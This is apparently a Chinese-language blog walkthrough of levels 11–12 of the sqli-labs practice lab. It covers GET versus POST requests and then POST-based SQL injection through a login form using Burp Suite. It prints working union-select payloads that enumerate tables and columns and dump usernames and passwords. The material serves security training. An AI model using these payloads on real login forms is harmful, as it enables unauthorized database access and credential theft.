sqli-labs靶场11-12关(基于POST联合查询)

1:GET
2:POST
3:Head
4:Put
5:Delete
6:Connect
7:Options
8:Trace
那么这里是典型的POST注入,那么注入点就是在POST数据中,而POST请求往往代表着用户向服务器提交了大量的数据请求,行为有包括文件上传,表单提交,按钮时间,这里分析是用户的登陆动作,那么肯定要对输入的用户名和密码带入数据库进行查询,接下来我们就把提交的用户名和密码直接替换成我们的测试语句;
1:这里我们可以使用burpsuite和hackbar都可以完成测试,这里我们选择使用Burpsuite
2:设置的好浏览器的代理,输入账号密码,点击提交在BP中进行拦截显示

表单注入需要掌握的知识点
需要用到burp sutie(抓包改包,暴力破解工具)
https://portswigger.net/burp //官网
sqli-labs靶场11-12关(基于POST联合查询)还需要用到的谷歌或者火狐做代理
sqli-labs靶场11-12关(基于POST联合查询)sqli-labs靶场11-12关(基于POST联合查询)咱们前10关是基于get型的注入
现在的是post注入
get是通过url传参
而post的传参是通过表单,咱们来看一下定义和区别

GET和POST是HTTP请求的两种基本方法

最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。

GET在浏览器回退时是无害的,而POST会再次提交请求。 GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。 GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。 GET请求在URL中传送的参数是有长度限制的,而POST么有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。 GET参数通过URL传递,POST放在Request
body中。

我们掌握了上述知识,我们就开始我们的闯关之旅

第十一关

(基于post的简单注入点)
源码分析
可以看到图通过post传参过来的username和password都是用单引号包裹着的
那么我们猜测是不是他的闭合字符为单引号
sqli-labs靶场11-12关(基于POST联合查询)那么我们通过浏览器的表单随便猜一下(抓个包试一下)
sqli-labs靶场11-12关(基于POST联合查询)看一下抓的包

抓的包如果想要修改包的话,需要发送到repeater模块
sqli-labs靶场11-12关(基于POST联合查询)我们看一下响应
sqli-labs靶场11-12关(基于POST联合查询)看到这个响应的内容咱们爆出的数据库的内容肯定会出现在这里
或者我们看一下
直观上的响应
也会给我们输入到屏幕上
sqli-labs靶场11-12关(基于POST联合查询)开搞
一、判断注入点
1.判断闭合字符

uname=admin'&passwd=admin&submit=Submit

加了一个单引号
发现报错了也没注释后面的语句
sqli-labs靶场11-12关(基于POST联合查询)咱们再判断一下其他的闭合字符

uname=admin"&passwd=admin&submit=Submit

咱们加了一个双引号,发现没报错,证明闭合字符不是双引号
sqli-labs靶场11-12关(基于POST联合查询)2.注释掉后面的语句

uname=admin' and 1=1 --+&passwd=admin&submit=Submit

and 1=1 --+恒为真时,执行成功
sqli-labs靶场11-12关(基于POST联合查询)uname=admin' and 1=2 --+&passwd=admin&submit=Submit
and 1=2 --+恒为假是,执行错误,发现注入点是基于单引号的字符型注入
sqli-labs靶场11-12关(基于POST联合查询)二、判断字段

uname=admin'  order by 3 --+&passwd=admin&submit=Submit

发现字段小于3
sqli-labs靶场11-12关(基于POST联合查询)uname=admin' order by 2 --+&passwd=admin&submit=Submit
发现字段数只有2
sqli-labs靶场11-12关(基于POST联合查询)三、构造payload
1.咱们基于第一关的查询语句构造联合查询语句

uname=admin’ &passwd= ' union select 1,2 --+&submit=Submit

由于他只在uname和passwd表单中输出到屏幕上内容,uname闭合了,所以让passwd输出那个查询哪个语句
sqli-labs靶场11-12关(基于POST联合查询)构造成功,开始干
2:我们来查询相关数据:当前用户/数据库名/MySQL程序安装目录

uname=admin'  &passwd=union select 1,group_concat(user(),@@datadir,database()) --+&submit=Submit

由于看哪个屏幕响应显示详细数据不清楚
sqli-labs靶场11-12关(基于POST联合查询),我们就换成raw哪个
2.查询查出哪个库名下的所有的表名(security)

uname=admin'  &passwd=union select 1,group_concat( table_name) from information_schema.tables where table_schema=database() --+&submit=Submit

sqli-labs靶场11-12关(基于POST联合查询)3.爆表里面的字段

uname=admin'  &passwd=union select 1,group_concat( column_name) from information_schema.columns where table_name="users" --+&submit=Submit

sqli-labs靶场11-12关(基于POST联合查询)4.爆字段里面的数据

uname=admin'  &passwd=union select 1,group_concat( username,'/',password) from users --+&submit=Submit

sqli-labs靶场11-12关(基于POST联合查询)

第十二关

源码分析
由于传参时候进行了两层过滤,所以他的闭合字符是(“”)
sqli-labs靶场11-12关(基于POST联合查询)判断注入点:

uname=admin’ &passwd=a&submit=Submit

sqli-labs靶场11-12关(基于POST联合查询)我们先输入错误的密码,发现屏幕什么都没有发现
然后我们先判断一下闭合字符看看报错效果
单引号和之前的回显页面一样
双引号报错

uname=admin"&passwd=a&submit=Submit

sqli-labs靶场11-12关(基于POST联合查询)注释一下uname=admin" and 1=1 --+&passwd=a&submit=Submit(恒为真都报错)
sqli-labs靶场11-12关(基于POST联合查询)发现回显还是报错
证明闭合点可能是基于双引号的包裹
加一个括号试试

uname=admin") and 1=1 --+&passwd=a&submit=Submit

发现密码是错的,回显都正确了,是不是又有什么思想了(后台管理万能密钥)
sqli-labs靶场11-12关(基于POST联合查询)
构造payload

uname=admin &passwd=a") union select 1,2 #&submit=Submit

注意:如果passwd上有数据,就要把闭合字符放在第二个传参的变量上
sqli-labs靶场11-12关(基于POST联合查询)

总结

如果passwd没有数据,就把闭合字符放在uname上,就是第一个变量上
如果passwd上有数据,就要把闭合字符放在第二个传参的变量上

上一篇:Windows平台spark任务submit


下一篇:线程池